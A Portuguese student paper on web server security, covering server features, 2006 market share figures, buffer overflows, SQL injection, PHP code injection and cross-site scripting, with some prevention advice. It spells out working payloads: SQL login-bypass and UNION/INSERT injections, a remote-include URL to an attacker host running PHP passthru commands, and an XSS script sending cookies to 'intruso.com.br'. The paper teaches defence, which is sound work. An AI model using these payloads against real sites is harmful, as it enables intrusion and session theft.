Você está na página 1de 21

Nomes: S á vio Rodrigo Atunes dos Santos Rosa

RA: 025144

Diego Henrique Florentino de Andrade

RA: 023549

Seguranç a e WebServers

1) Introdu ç ã o:

Atualmente a utilizaç ã o de aplicaç õ es web apresenta um papel fundamental no mercado de TI. Suas principais vantagens em relaç ã o à s aplica ç õ es dektop estã o no fato de que s ã o acess íveis globalmente e possuem alta portabilidade. E tudo indica que as aplicaç õ es para web tendam a se tornar ainda mais populares, pois com o advento da Web 2.0 que utiliza tecnologias inovadoras, como o AJAX, houve um aumento notá vel na flexibilidade das aplicaç õ es desenvolvidas. Pretendemos abordar nesse documento assuntos relativos a seguran ç a de WebServers e suas implicaç õ es no desenvolvimento de programas seguros para Web.

2) WebServers:

Apesar dos programas WebServers diferirem em alguns detalhes, todos eles compartilhas algumas funcionalidades b á sicas:

1. Respostas a requisi ç õ es HTTP: todo programa WebServer opera aceitando requisiç õ es HTTP da rede, e provendo respostas aos clientes. A resposta HTTP geralmente consiste de um documento HTML, mas pode ser tamb é m um arquivo em texto­plano, uma imagem, ou qualquer outro tipo de documento. Se algum problema ocorrer no processamento da requisiç ã o do cliente, um WebServer deve responder com uma mensagem de erro, que pode incluir algum documento HTML ou mensagem de texto para melhor melhor explicar o problema a um humano.

2. Logging: em geral WebServers tem a capacidade de guardar logs com informaç õ es detalhadas sobre requisi ç õ es de clientes e respostas do servidor, permitindo ao WebMaster levantar estatísticas a respeito da operaç ã o do servidor.

Na pr á tica os WebServers tamb é m implementam algumas outras funcionalidades:

1. Configura ç ã o das funcionalidades por meio de arquivos de configuraç ã o ou por interfaces com o usu á rio.

2. Autenticaç ã o: requisiç ã o opcional de autoriza ç ã o antes de liberar o acesso a algum ou qualquer tipo de recurso.

3. Manipulaç ã o n ã o apenas de contú do est á tico, mas tamb é m de conteú do din â mico, atrav é s de suporte a uma ou mais das seguintes interfaces: SSI, CGI, SCGI, FastCGI, PHP, ASP, ASP.NET, Server API como NSAPI, ISAPI, etc.

4. Suporte a mó dulos, a fim de permitir a extens ã o das capacidades do servidor, seja adicionando ou modificando modulos de software que s ã o ligados ao programa servidor ou que s ã o dinamicamente carregados.

6.

Compress ã o de conteú do (geralmente por codificaç ã o gzip), para reduzir o tamanho das respostas e, por conseguinte, diminuir a banda requerida.

7. Virtual Host, para permitir hospedagem de muitos websites utilizando apenas um endereç o IP.

8. Suporte a arquivos grandes, para que possa servir arquivos cujo tamanho sejam superiores a 2 GB.

9. Controle de banda, a fim de limitar a velocidade das respostas para n ã o saturar a rede e poder servir outros clientes.

2.1) Uniform Resource Location (URL)

WebServers geralmente traduzem o caminho para um componente de uma URL um recurso para o sistema de arquivos local. O caminho URL especificado pelo cliente é traduzido para o para o diretó rio raiz do WebServer. Considere a seguinte URL a ser traduzida pelo cliente:

http://www.example.com/path/file.html

O Browser do cliente traduzir á a URL em uma conex ã o para www.example.com de acordo

com a seguinte requisi ç ã o HTTP 1.1:

GET /path/file.html HTTP/1.1 Host: www.example.com

O WebServer em www.example.com ir á concatenar o caminho especificado com o seu

diretó rio raiz. Nas m á quinas Unix o diretó rio raiz é geralmente dado por /var/www/htdocs. O resultado é o seguinte recurso para o sistema de arquivos local:

/var/www/htdocs/path/file.html

O WebServer ir á entã o ler este arquivo, se existir, e enviar a resposta para o Browser do

cliente. A resposta descrever á o arquivo al é m de conter o pr ó prio arquivo.

2.2) Aplica ç õ es WebServers:

Os quatro WebServers mais comuns s ã o:

Apache HTTP Server da Apache Software Foundation

Internet Information Services (IIS) da Microsoft

Sun Java System WebServer da Sun Microsystems

Zeus WebServer da Zeus Technology

A Internet vem experimentando atualmente um forte crescimento no n ú mero de sites, o que

se deve em grande parte a popularizaç ã o dos blogs, e da proliferaç ã o de companhias de hospedagem gratuita. Abaixo um gr á fico demonstrando a flutuaç ã o no n ú mero de websites no mundo, desde Agosto de 1995 at é Junho de 2006.

Gr á fico 1 – Flutua ç ã o de WebSites de 08/95 a 06/06

Gr á fico 1 – Flutuaç ã o de WebSites de 08/95 a 06/06

Um outro aspecto interessante a ser notado é um recente ganho de mercado da Microsoft em relaç ã o ao concorrente software de có digo aberto Apache, que ainda continua líder de mercado. A migra ç ã o observada deve­se ao fato de que algumas grandes companhias americanas de hospedagem de sites, como a Go Daddy, tem deixado de utilizar Linux como Sistema Operacional,

e por esse motivo tem optado pelo pacote da Microsoft Windows – IIS. Abaixo observamos um gr á fico com a evolu ç ã o no uso dos principais Softwares WebServers tamb é m de Agosto de 1995 a Junho de 2006, onde se percebe essa migraç ã o para o uso de IIS.

2006, onde se percebe essa migra ç ã o para o uso de IIS. Gr á

Gr á fico 2 – Evolu ç ã o no uso de WebServers

A tabela seguinte aponta o valor apurado no uso de WebServers no in í cio dos meses de Maio

e Junho de 2006, e tamb é m reflete essa migraç ã o para os sistemas da Microsoft.

Junho de 2006

Porcentagem

Maio de 2006

Porcentagem

Diferen ç a

Apache

52819517

64.76

52389885

61.25

­3.51

Microsoft

20764239

25.46

25415611

29.71

4.25

Sun

1917950

2.35

1311822

1.53

­0.82

Zeus

550437

0.67

531399

0.62

­0.05

Tabela 1 – Uso dos principais WebServers em Maio e Junho de 2006

2.3) WebServers mais utilizados e suas principais vulnerabilidades

Os principais servidores web utilizados s ã o o IIS (Internet Information System) e o Apache.

Vulnerabilidades no Servidor IIS Existem diversas vulnerabilidades em v á rias vers õ es do Microsoft IIS. Abaixo estã o relacionadas as mais freq ü entes:

Muitas destas vulnerabilidades s ã o "buffer overflows".

Falhas de seguran ç a estariam presentes em algumas fun ç õ es do servidor, como ISAPI, WebDAV e possibilitaria que um cracker lan ç asse ataques denial­of­service (DoS) e aproveitasse vulnerabilidades do tipo Cross­Site Scripting (CSS), como para elevaç ã o de privilé gios.

Vulnerabilidades no Servidor APACHE O Apache é um programa complexo que goza de um certo respeito pela Comunidade Hacker por possuir seu có digo fonte aberto. Mas, por ser um programa complexo, que cada vez mais vem tendo um aumento de linhas de có digos e de fun ç õ es, as chances de se descobrir um furo no Servidor Apache s ã o consider á veis. Abaixo est ã o relacionadas as mais freq ü entes:

Ataque de nega ç ã o de servi ç o.

Executar um ataque remoto atrav é s de um script ou ler cookies de outros sites – exploraç ã o de vulnerabilidades via CGI Scripts.

3) Seguran ç a em WebServers:

Os principais pontos vulner á veis das aplicaç õ es voltadas à web que abordaremos s ã o os seguintes:

Buffer Overflow

SQL Injection

Code Injection

XSS / CSS (Cross Site Scripting)

Ataques via CGI­Scripts

Ataques via SSI (Server Side Include)

Figura 1: Esquema das principais vulnerabilidades de um WebServer 3.1) Buffer Overflow 3.1.1) Introdu ç

Figura 1: Esquema das principais vulnerabilidades de um WebServer

3.1) Buffer Overflow

3.1.1) Introduç ã o

Buffer overflow é um falha de seguran ç a comumente encontrada em WebServers, mas, apesar de ser uma falha muito conhecida e bastante sé ria, o erro repete­se sistematicamente a cada nova vers ã o liberada. Alguns programas j á s ã o famosos por freq ü entemente apresentarem a falha, como o Sendmail, m ó dulos do Apache, o Internet Information Services (IIS) da Microsoft e softwares considerados seguros, como o OpenSSH.

Um buffer overflow é resultado do armazenamento de uma quantidade maior de dados do que um buffer pode suportar, ou seja, estourar o buffer.

O princí pio de um ataque baseado em buffer overflow é estourar o buffer e sobrescrever parte da pilha, alterando o valor das variá veis locais, valores dos par â metros e/ou o endereç o de retorno.

Por exemplo, altera­se o endereç o de retorno RET(Return Address) da fun ç ã o para que ele aponte para a á rea em que o có digo que se deseja executar encontra­se armazenado (c ó digo malicioso dentro do pr ó prio buffer estourado ou até algum trecho de có digo presente no programa vulner á vel), podendo­se assim executar có digo malicioso com os privilé gios do usu á rio que executa o programa vulner á vel, como super­usu á rio (root) por exemplo.

Daemons de sistema como (syslogd(8), mountd(8)) ou aplicaç õ es que rodam com privil é gios de root como (sendmail(8), até pouco tempo) sã o portanto alvo preferencial.

3.1.2) Tipos de buffer overflow

Existem tr ê s tipos b á sicos de ataques utilizando­se a vulnerabilidades de buffer overflow:

Buffer overflow baseado em pilha: a t é cnica de exploraç ã o mais simples e comum, atua

pela alteraç ã o do estado da pilha durante a execu ç ã o do programa para direcionar a execu ç ã o para o có digo malicioso contido no buffer estourado:

o para o c ó digo malicioso contido no buffer estourado: ∑ Buffer overflow baseado em

Buffer overflow baseado em heap: bem mais dif ícil de explorar, por causa da disciplina de acesso à heap (blocos n ã o contíguos, fragmentaç ã o interna). Deve­se estourar o buffer armazenado na á rea da heap em direç ã o ao endereç o de retorno na pilha, para direcionar a execu ç ã o para o có digo malicioso que se encontra no buffer estourado;

c ó digo malicioso que se encontra no buffer estourado; ∑ Buffer overflow de retorno à

Buffer overflow de retorno à libc: alteram o fluxo de execu ç ã o pelo estouro de algum buffer na pilha ou heap, para algum trecho de có digo armazenado no segmento de texto do programa. Tipicamente este trecho de có digo é alguma chamada de fun ç ã o comumente utilizada da biblioteca padr ã o libc, como as chamadas de execu ç ã o arbitr á ria de comandos (fun ç õ es da família exec(3)). Este tipo de ataque tem sido bastante utilizado ap ó s a inclusã o de patches nos sistemas operacionais que impedem a execu ç ã o de có digo em pilha, em heap ou na regiã o de dados.

c ó digo em pilha , em heap ou na regi ã o de dados. 3.1.3)

3.1.3) Como prevenir ataques por buffer overflow

A té cnica de solu ç ã o tradicional é efetuar a checagem de limite (garantindo que o n ú mero

de caracteres inseridos n ã o exceda o limite estabelecido) ou garantir que a linguagem faç a a altera ç ã o din â mica do tamanho do buffer.

A solu ç ã o é utilizar fun ç õ es de biblioteca que n ã o apresentem problemas relacionados a

buffer overflow.

A solu ç ã o na biblioteca padr ã o é utilizar as fun ç õ es strncpy(3) e strncat(3) que recebem

como argumento o n ú mero má ximo de caracteres copiados entre as strings. Deve haver controle no argumento fornecido para que ele n ã o exceda o tamanho da string de destino, ou teremos novamente c ó digo vulner á vel. Os sistemas BSD fornecem as fun ç õ es strlcpy(3) e strlcat(3) para có pia e concatenaç ã o de

strings.

Estas fun ç õ es recebem como argumento o tamanho total do buffer de destino.

Outras bibliotecas, como a Libmib (Libmib Software Library) que implementa realocaç ã o din â mica das strings quando seu tamanho é ultrapassado, e a Libsafe que conté m vers õ es modificadas das fun ç õ es suscet íveis a buffer overflow, funcionando como um wrapper(padr ã o de projeto) para a libc padr ã o.

Um dos problemas do servidor implementado é a falta de checagem de tamanho do buffer nas chamadas sucessivas à fun ç ã o read(2). As alternativas nesse caso s ã o a inclusã o de có digo de checagem de limite do buffer ou a utilizaç ã o de fun ç õ es como recv(2) que recebem como argumento o tamanho má ximo da string recebida. Outras recomendaç õ es passam pela utilizaç ã o de compiladores com checagem de limite, aplica ç ã o de patches ao sistema operacional que impossibilitem a execu ç ã o de c ó digo na pilha ou heap (ainda restam os ataques utilizando a regiã o de texto, entretanto), prefer ê ncia por alocaç ã o din â mica dos buffers na área de heap, aten ç ã o redobrada na codifica ç ã o dos laç os de interaç ã o que preenchem os buffers e exame cuidadoso das poss íveis entradas do usu á rio.

A exploraç ã o de có digo vulner á vel a buffer overflow exige alguma habilidade, pois na

maioria das vezes aproveitar­se das falhas n ã o é f á cil, mas o conhecimento necess á rio para tal tarefa

pode ser facilmente adquirido pelo material difundido pela Internet e experimentos de explorar essa vulnerabilidade. Por isso o desenvolvimento de software seguro deve ser tratado com muita responsabilidade e aten ç ã o, principalmente no desenvolvimento de software de seguran ç a projetados para ser executado com privilé gios de super­usu á rio ou usu á rio especial do sistema.

3.2) SQL Injection:

SQL Injection é a té cnica utilizada para explorar vulnerabilidades em aplica ç õ es Web que

utilizam dados fornecidos pelo usu á rio sem antes tratar caracteres que podem oferecer algum perigo. A id é ia é fazer com que a aplicaç ã o alvo rode um c ó digo SQL que n ã o era inicialmente previsto pelo programador. Apesar de ser um problema de simples correç ã o, existe um grande n ú mero de websites conectados a internet que s ã o vulner á veis a esse tipo de ataque.

A seguir descreveremos as seguintes t é cnicas de SQL Injection:

Passagem por autentica ç ã o

Usando o comando SELECT

Usando o comando INSERT

Usando Stored Procedures do SQL Server

3.2.1) Passagem por Autentica ç ã o:

A té cnica mais simples de SQL Injection é a passagem por formulá rios de login. Considere o

seguinte có digo de uma aplicaç ã o Web:

SQLQuery = "SELECT Username FROM Usu á rios WHERE Username = ‘" & strUsername & "‘ AND Password = ‘" & strPassword & "‘" username = GetQueryResult(SQLQuery) If username = "" Then Authenticated = False Else Authenticated = True End If

O que acontece quando o usu á rio submete seu username e password? A consulta seguir á

para o banco de dados buscando saber se na tabela “Usu á rios” existe um registro tal que o username

e o password sejam os mesmos que os fornecidos pelo usu á rio. Se tal registro for encontrado o username ser á atribuido a variá vel “username”, que indica que o usu á rio identificou­se

corretamente. Se n ã o existir nenhum registro, “username” estar á vazia, significando que o usu á rio

n ã o autenticou­se corretamente. Se “strUsername” e “ strPassword” puderem conter qualquer caracter que for desejado, pode­se modificar a atual estrutura da consulta SQL tal que um nome v á lido possa ser retornado mesmo que n ã o se conheç a um par username/password v á lidos. Para isso basta que se preencha os campos “login” e “password” do formulá rio da seguinte forma:

Login: ' OR '1'='1 Password: ' or '1'='1

Isto resultar á na seguinte consulta SQL:

SELECT Username FROM Users WHERE Username = ‘‘ OR ‘1‘=‘1‘ AND Password = ‘‘ OR ‘1‘=‘1‘

Ao inv é s de comparar o usu á rio fornecido pelo usu á rio com aqueles presentes na tabela “Usu á rios”, a consulta ir á comparar a cl á usula '1'='1' que obviamente sempre retorna TRUE. Uma vez que as condiç õ es da clá usula WHERE foram atendidas, a aplicaç ã o selecionar á a primeira linha do conjunto de registros retornados. Passara o username para a v á riavel de mesmo nome o que garantir á a autenticaç ã o.

3.2.2) Usando o comando SELECT:

Em algumas situaç õ es, é necessá rio fazer engenharia reversa da aplicaç ã o vulner á vel a partir das mensagens de erro retornadas. Para fazer isso é necessá rio saber interpretar as mensagens retornadas para saber como fazer o melhor ataque.

O primeiro erro normalmente encontrado é o erro de sintaxe. Um erro de sintaxe indica que

a consulta n ã o segue a estrutura SQL correta. A primeira coisa a ser feita é determinar se a injeç ã o

de có digo é poss ível atrav é s da manipulaç ã o de aspas. Em uma injeç ã o direta qualquer argumento submetido ser á usado na consulta SQL sem qualquer modificaç ã o. Uma boa tá tica é atribuir um valor leg í timo ao valor a ser submetido e concatenar a ele um espaç o e a palavra “OR”. Se este fato gerar um erro, entã o é possí vel fazer a injeç ã o direta. Valores diretos podem ser valores n ú mericos usados na clá usula WHERE, tal como o exemplo abaixo:

SQLString = "SELECT FirstName, LastName, Title FROM Employees WHERE

Employee = " & intEmployeeID

ou pode ser tamb é m um nome de tabela ou campo, tal como:

SQLString = "SELECT FirstName, LastName, Title FROM Employees ORDER BY " & strColumn

Todas as outras instâ ncias sã o vulnerabilidades que usam aspas, conhecidas como “quoted injection”. Em uma “quoted injection” qualquer argumento submetido ter á aspas adicionadas ao seu in ício e fim, assim como:

SQLString = "SELECT FirstName, LastName, Title FROM Employees WHERE EmployeeID = ‘" & strCity & "‘"

Para quebrar o uso de aspas e manipular a consulta mantendo uma sintaxe v á lida, deve­se usar uma aspas simples antes do uso de qualquer keyword SQL, tal como “OR”, “AND”, etc.

3.2.2.1) Uniã o Basica:

O uso do comando SELECT é usado com o objetivo de obter informaç õ es do banco de

dados. A maioria das p á ginas que apresentam conteú do din â mico obt é m esse conteú do atrav é s do

uso de queries com comando SELECT, e na maioria das vezes somente ser á possí vel manipular a por ç ã o da query que se localiza ap ó s a clá usula WHERE. Para fazer o banco de dados retornar registros que n ã o sejam aqueles previstos pelo programador, é possí vel modificar a clá usula WHERE injetando um comando UNION SELECT. Isto permite que m ú ltiplas queries SELECT sejam especificadas de uma vez. Eis um exemplo:

SELECT CompanyName FROM Shippers WHERE 1 = 1 UNION ALL SELECT CompanyName FROM Customers WHERE 1 = 1

Isto retornar á o conjunto de registros da primeira query somado ao conjunto de registros da segunda. O ALL é necess á rio para permitir certos tipos de cl á usulas SELECT DISTINCT. O atacante deve apenas se assegurar de que a primeira query ( aquele que o desenvolvedor da

aplica ç ã o pretendia executar) n ã o retorna nenhum resultado. Suponha o script com o seguinte

c ó digo:

SQLString = "SELECT FirstName, LastName, Title FROM Employees WHERE City = ‘" & strCity & "‘"

O

atacante utiliza a seguinte string para injeç ã o:

‘ UNION ALL SELECT OtherField FROM OtherTable WHERE ‘‘=‘

A

query resultante a ser mandada para o banco de dados é a seguinte:

SELECT FirstName, LastName, Title FROM Employees WHERE City = ‘‘ UNION ALL SELECT OtherField FROM OtherTable WHERE ‘‘=‘‘

O

banco de dados ir á inspecionar a tabela Employees, buscando por um registro tal que o

campo City possua como valor a string vazia. Uma vez que esse valor n ã o ser á encontrado, nenhum registro ser á retornado. Os ú nicos registros retornados ser ã o da query injetada. Em alguns casos, usar a string vazia n ã o ir á funcionar porque existir ã o entradas na tabela que estar ã o vazias, ou porque o valor vazio possui algum outro significado para a aplicaç ã o. É necess á rio simplesmente especificar um valor que n ã o ocorre na tabela. Quando um n ú mero deve ser especificado, zero ou um n ú mero negativo geralmente funcionam bem. Para argumentos textuais é recomendado usar uma

string pouco comum.

3.2.2.2) Queries com problemas de sintaxe:

Alguns servidores de bancos de dados retornam a por ç ã o da query contendo o erro de sintaxe em mensagens de erro. Nestes casos é poss ível se aproveitar destas mensagens no auxilio à injeç ã o de có digo SQL. Dependendo de como a query foi constru ída, é poss ível obter informaç õ es de grande utilidade.

3.2.2.3) Par ê nteses:

Se o erro de sintaxe conté m um par ê ntese na mensagem retonada, ou a mensagem relata problemas no balanceamento de par ê nteses, é uma boa id é ia adicionar par ê nteses à string que ser á injetada. Em alguns casos ser á necess á rio adicionar dois ou mais parenteses. Abaixo um exemplo do uso dessa té cnica:

"SELECT LastName, FirstName, Title, Notes, Extension FROM Employees WHERE (City = ‘" & strCity & "‘)"

entã o, o seguinte valor pode ser injetado:

“‘) UNION SELECT OtherField FROM OtherTable WHERE (‘‘=‘”,

resultando na seguinte query a ser mandada para o banco de dados:

SELECT LastName, FirstName, Title, Notes, Extension FROM Employees WHERE (City = ‘‘) UNION SELECT OtherField From OtherTable WHERE (‘‘=‘‘)

a qual possui todos os parenteses balanceados e foi uma boa escolha gra ç as à informaç ã o obtida de que existia um erro no balanceamento de parenteses.

3.2.2.3) Uso da clá usula LIKE:

Uma outra possibilidade de injeç ã o de có digo SQL é feita em uma clá usula LIKE. S ã o indicaç õ es dessa situaç ã o o aparecimento da palavra­chave LIKE ou do caracter porcento no retorno de erro. A maioria das fun ç õ es de busca utilizam a clá usula LIKE nas queries SQL, como o exemplo abaixo:

SQLString = "SELECT FirstName, LastName, Title FROM Employees WHERE LastName LIKE ‘%" & strLastNameSearch & "%’"

Os caracteres porcento permitem que sejam retornados todos os registros em que a string

passada como par â metro esteja contida nas strings do campo no banco de dados. Para fazer com que

a query n ã o retorne resultados, é preciso que o valor submetido n ã o esteja contido em nenhuma

string do campo LastName. Tamb é m é possí vel submeter uma string vazia, o que far á com que o banco de dados retorne todos os registros.

3.2.3) Usando o comando INSERT:

O comando INSERT é utilizado com o objetivo de inserir informaç õ es ao banco de dados. Usos comuns do comando INSERT numa aplicaç ã o web incluem desde registro de usu á rios à

adiç ã o de itens ao carrinho em uma loja de com é rcio eletr ô nico. Checar vulnerabilidades no comando INSERT é tarefa semelhante aquele realizada ao checar vulnerabilidades na clá usula WHERE. N ã o se deve usar o comando INSERT caso se queira previnir contra detecç ã o. Dependendo do qu ã o atencioso é o administrador ou da forma como a informaç ã o submetida é utilizada, ele pode ficar sabendo do ataque. Eis uma forma de como a injeç ã o utilizando INSERT difere­se da injeç ã o utilizando SELECT. Suponha um site que permite algum tipo de registro de usu á rio atrav é s de um fomulá rio onde se preenche o nome, endere ç o, n ú mero de telefone, etc. Depois de submeter o formulá rio é poss ível navegar até uma p á gina onde esteja disposta a informaç ã o submetida e seja poss ível editá ­ la. É exatamente o que se precisa. Para tirar vantagem da vulnerabilidade do comando INSERT, é preciso ver a informaç ã o submetida, n ã o sendo importante onde ela se encontra. Talvez ao se logar a aplica ç ã o disponha o valor gravado para o nome, ou ao se cadastrar a aplicaç ã o envie um e­mail com o nome na mensagem. Seja como for, é preciso encontrar uma forma de analisar os dados submetidos. O comando INSERT tem a seguinte forma:

SQLString = "SELECT FirstName, LastName, Title FROM Employees WHERE LastName LIKE ‘%" & strLastNameSearch & "%’"

Pode ser necess á rio manipular os argumentos na clá usula VALUES para que seja possí vel recuperar outros dados. Isso pode ser feito usando­se subselects. Considere o seguinte c ó digo:

SQLString = "INSERT INTO TableName VALUES (‘" & strValueOne & "‘, ‘" & strValueTwo & "‘, ‘" & strValueThree & "‘)"

Entã o preenche­se o formul á rio da seguinte forma:

Nome: ‘ + (SELECT TOP 1 FieldName FROM TableName) + ‘ Email: blah@blah.com Telefone: 333­333­3333

Isso faz com que a query SQL seja:

INSERT INTO TableName VALUES (‘‘ + (SELECT TOP 1 FieldName FROM TableName) + ‘‘, ‘blah@blah.com’, ‘333­333­3333’)

Ao visualizar a p á gina com a edi ç ã o dos dados o que ser á visto é o primeiro valor do campo FieldName, onde originalmente estaria o nome preenchido. Caso n ã o seja usado TOP 1 no subselect obter­se­ á uma mensagem de erro dizendo que muitos registros foram retornados. É poss ível obter todos os registros da tabela repetindo o procedimento anterior e usando a cl á usula NOT IN() para os valores j á obtidos.

3.2.4) Solu ç õ es para SQL Injection:

Duas a ç õ es devem ser tomadas para imunizar a aplica ç ã o contra SQL Injection: tratar os dados recebidos e tratar da seguran ç a da aplicaç ã o.

3.2.4.1) Tratamento de dados:

Todos os dados submetidos pelo usu á rio precisam ser investigado e limpos de caracteres que podem ser usados de forma maliciosa. Isso na verdade deveria ser feito para todas as aplicaç õ es, n ã o

somente aquelas que usam queries SQL. Uma boa solu ç ã o é a utilizaç ã o da t é cnica de escape de caracteres aspas. Para isso adiciona­se uma barra invertida(slash) antes de cada aspas presente no texto submetido. Todavia esta té cnica n ã o garante que a injeç ã o n ã o acontecer á (por exemplo, no ataque direto, que n ã o utiliza aspas, explicado anteriormente). É preciso adotar tambem novas t é cnicas. Umas das possibilidades é a restriç ã o da entrada a um conjunto de caracteres aceitav é is. Isso deve ser feito adotando express õ es regulares. O exemplo abaixo retorna apenas n ú meros e caracteres:

s/[^0­9a­zA­Z]//\

Podem ser feitos quaiquer tipos de filtros usando express ã o regular, e quanto mais restrita for a entrada, menor a possibilidade de injeç ã o. A ado ç ã o de filtros é especialmente importante quando os dados de entrada devem ser apenas n ú meros. Caso seja necess á rio incluir s ímbolos, ou pontuaç ã o de qualquer tipo, estes devem ser convertidos para seus substitutos em HTML, tal como &quote; ou >. Por exemplo, se o usu á rio estiver submetendo um e­mail, deve ser permitado apenas os caracteres “@”, underscore, ponto, h í fen alé m de n ú meros e letras, e devem ser permitidos apenas ap ó s a transformaç ã o desses caracteres para seus substitutos HTML.

3.2.4.2) Codificaç ã o de queries SQL:

Existem algumas regras b á sicas para codificaç ã o SQL. Em primeiro lugar deve­se sempre adicionar aspas ao in ício e ao fim dos dados submetidos pelo usu á rio, e sempre adicionar uma barra invertida antes de cada aspas no texto do usu á rio, caso sejam relamente necess á rias e precisem passar pelo filtro. Al é m disso os direitos do usu á rio de banco de dados da aplicaç ã o devem ser os mais restritos poss íveis.

3.3) Code Injection:

Se uma aplicaç ã o web processa dinamicamente arquivos de inclus ã o ou caminhos para arquivos incorretamente, torna­se vulner á vel a execu ç ã o de um c ó digo arbitr á rio no servidor, ou da recupera ç ã o do conteú do de arquivos. Um ataque implementado com sucesso permite ao atacante passagem pelo processo de autentica ç ã o, execu ç ã o de comandos no servidor, visualizaç ã o e gravaç ã o de dados arbitr á rios em arquivos, entre outras coisas. Usaremos como linguagem padr ã o para exemplos o PHP, mas os problemas de injeç ã o de có digo existem em todas as linguagens de scripts para web existentes.

3.3.1) Arquivos:

Uma das coisas que torna PHP uma linguagem bastante flexivel é a facilidade para manipulaç ã o de arquivos. As fun ç õ es include(), require() e fopen() aceitam nomes de arquivos com caminho local e tamb é m remoto, atrav é s do uso de URLs. Muitas das vulnerabilidades existentes decorrem da manipula ç ã o incorreta de arquivos din â micos ou de caminhos para arquivos. Suponha um site que possua um script o qual inclui arquivos HTML e os disp õ e em um layout apropriado. A URL para esse script seguiria a seguinte forma:

http://example.com/page.php?i=aboutus.html

A vari á vel “i” cont é m o nome do arquivo a ser inclu ído. Algumas questõ es podem ser feitas sobre o modo como foi programado o script:

programador considerou a possibilidade de voltar em diret ó rios como em

O

i=

/

/

/etc/passwd?

Checou o arquivo pela extens ã o .html?

Usou a fun ç ã o fopen para incluir os arquivos?

Teria ele pensado em proibir a possibilidade de incluir arquivos remotos?

Em se tratando de uma aplicaç ã o vulner á vel, a resposta para estas pergunta é n ã o! Nesse caso seria poss ível visualizar todos os arquivos para o qual o usu á rio httpd tem permiss ã o de leitura. Mas um possibilidade ainda mais interessante seria a utilizaç ã o da variá vel “i” para inclus ã o de arquivos HTML remotos. Supondo a URL:

http://example.com/page.php?i=http://atacante.org/exec.html

Entã o poder íamos preencher o arquivo exec.html com as seguintes linhas.

<?php passthru ('ls ­al /etc'); passthru ('echo Seu site foi hackeado | mail root');

?>

Como se percebe, a vulnerabilidade de injeç ã o de có digo pode ser bastante desastrosa.

3.3.1) Variá veis globais:

Por padr ã o o PHP cria a maioria das vari á veis em escopo global. Por um lado isto é bastante conveniente, mas por outro pode fazer com que o programador se perca em scripts longos. De onde a vari á vel surgiu? Se ela n ã o foi setada, como de onde ela apareceu? Todas as variá veis EGPCS (Environment, GET, POST, Cookie, and Server) s ã o colocadas em um escopo global. Os arrays associativos globais $HTTP_ENV_VARS, $HTTP_GET_VARS, $HTTP_POST_VARS, $HTTP_COOKIE_VARS, $HTTP_SERVER_VARS e $HTTP_SESSION_VARS ser ã o criados quando a diretiva de configuraç ã o track_vars estiver setada. Desta forma ser á poss ível procurar pelas vari á veis no lugar de onde se espera que venham.

Exemplo

O

problema abaixo foi reportado para Bugtraq por Ismael Peinado Palomo em 25 de Julho

de 2001. Mambo Site Server 3.0.x, um portal din â mico de gerenciamento de conte ú do baseado em PHP e MySQL, vulner á vel a injeç ã o de có digo. Para simplificaç ã o o c ó digo foi modificado.

No diretó rio admin/, o arquivo index.php checa se o password submetido é igual aquele do banco de dados.

<?php if ($dbpass == $pass) { session_register("myname"); session_register("fullname"); session_register("userid"); header("Location: index2.php");

?>

}

Quando o password estivesse correto, as vari á veis $myname, $fullname e $userid eram

registradas como variá veis de sess ã o. O usu á rio era ent ã o redirecionado para index2.php, onde ocorria o seguinte:

<?php if (!$PHPSESSID) { header("Location: index.php");

exit(0);

} else { session_start(); if (!$myname) session_register("myname"); if (!$fullname) session_register("fullname"); if (!$userid) session_register("userid");

}

?>

Se a variá vel de sessã o ainda n ã o tivesse sido setada, o usu á rio seria redirecionado de volta para a p á gina de login. Caso um session ID j á existisse, o script colocaria as variá veis em escopo global. Vamos ver como explorar esta vulnerabilidade. Considere a seguinte URL:

http://example.ch/admin/index2.php?PHPSESSID=1&myname=admin&fullname

=joey&userid=admin

As variá veis de GET $PHPSESSID, $myname, $fullname e $userid ser ã o criadas como variá veis globais por padr ã o. Desse forma, ao olhar para a estrutura if­else acima, veremos que o script ter á a vari á vel $PHPSESSID como setada, e as 3 variá veis dedicadas a autorizar e identificar o usu á rio podem ser setadas para qualquer valor desejado. O banco de dados nem precisou ser consultado!

3.4) Cross­Script­Site

3.4.1) Introduç ã o

A express ã o "Cross Script Site" (CSS ou XSS) está se tornando muito conhecida, e consiste

numa falha de seguran ç a muito comum no sites de conteú do din â mico ( Perl, JSP, etc).

O problema surge quando um site incorpora em si pr ó prio dados din â micos fornecidos pelos

seus usu á rios sem verificar completamente essas entradas, isto é , o atacante pode usar tags maliciosos que podem prejudicar o sistema.

Por exemplo em sites que sã o projetados para permitir tags de HTML, para assim ficarem mais interativos, podem permitir coment á rios de usu á rios que ser ã o postados depois a outros leitores em um livro de visitas (ou guestbook).

Nesse tipo de site, um cracker, colocando certos valores nos blanks destinados aos comentá rios, poderia:

utilizando­se uma tag <SCRIPT> e com um certo conhecimento sobre o site, o script poderia extrair outras informa ç õ es do site e submetê ­las a um servidor controlado pelo cracker.

com uma tag <FORM>, a entrada poderia alterar o comportamento do formulá rio, até mesmo fazendo com que as informaç õ es fossem para uma outra fonte.

com uma tag <IMG> poderia ser agregada uma imagem ofensiva.

inserir refer ê ncias em Java (inclusive refer ê ncias para applets maliciosos).

ocasionar o té rmino do arquivo acrescentando </HTML>.

Alé m disso, esse tipo de vulnerabilidade pode ter efeitos muito mais graves como expor conex õ es SSL­codificadas, tendo acesso locais da rede restringidos pelo cliente, violando polí ticas de seguran ç a de dom ínio, criando DoS (Denial of Service), enviando simplesmente um có digo JavaScript para um loop infinito de aberturas de janelas do browser, tentativas de ataques de buffers overflows em browsers).

3.4.2) Algumas maneiras de como o CSS pode acontecer

1) O intruso pode sequestrar a session de outro usu á rio com um có digo JavaScript relativamente simples como este:

<iframe name="teste" id="teste" height="0" width="0"></iframe> <script language="JavaScript"> <!­­ document.getElementById('teste').src = 'http://intruso.com.br/sequestar.php?cookies=' + document.cookie; //­­> </script>

Esse có digo submete todos os cookies de um determinado usu á rio do sistema para o cracker.

2) o intruso pode tamb é m injetar c ó digo HTML malicioso com o objetivo de realizar ataques do tipo Denial of Service ao seu site como este que segue abaixo.

Supondo que a p á gina sendo atacada se chama exemplo.php

<iframe src="exemplo.php" height="1" width="1"></iframe>

O IFRAME ir á tentar abrir o pr ó prio script exemplo.php, e esse exemplo.php ter á o IFRAME novamente, e assim sucessivamente, gerando um loop infinito na Web.

3) Considere a seguinte URL:

http://www.example.com/search.pl?text=<script>alert(document.cookie)</script>

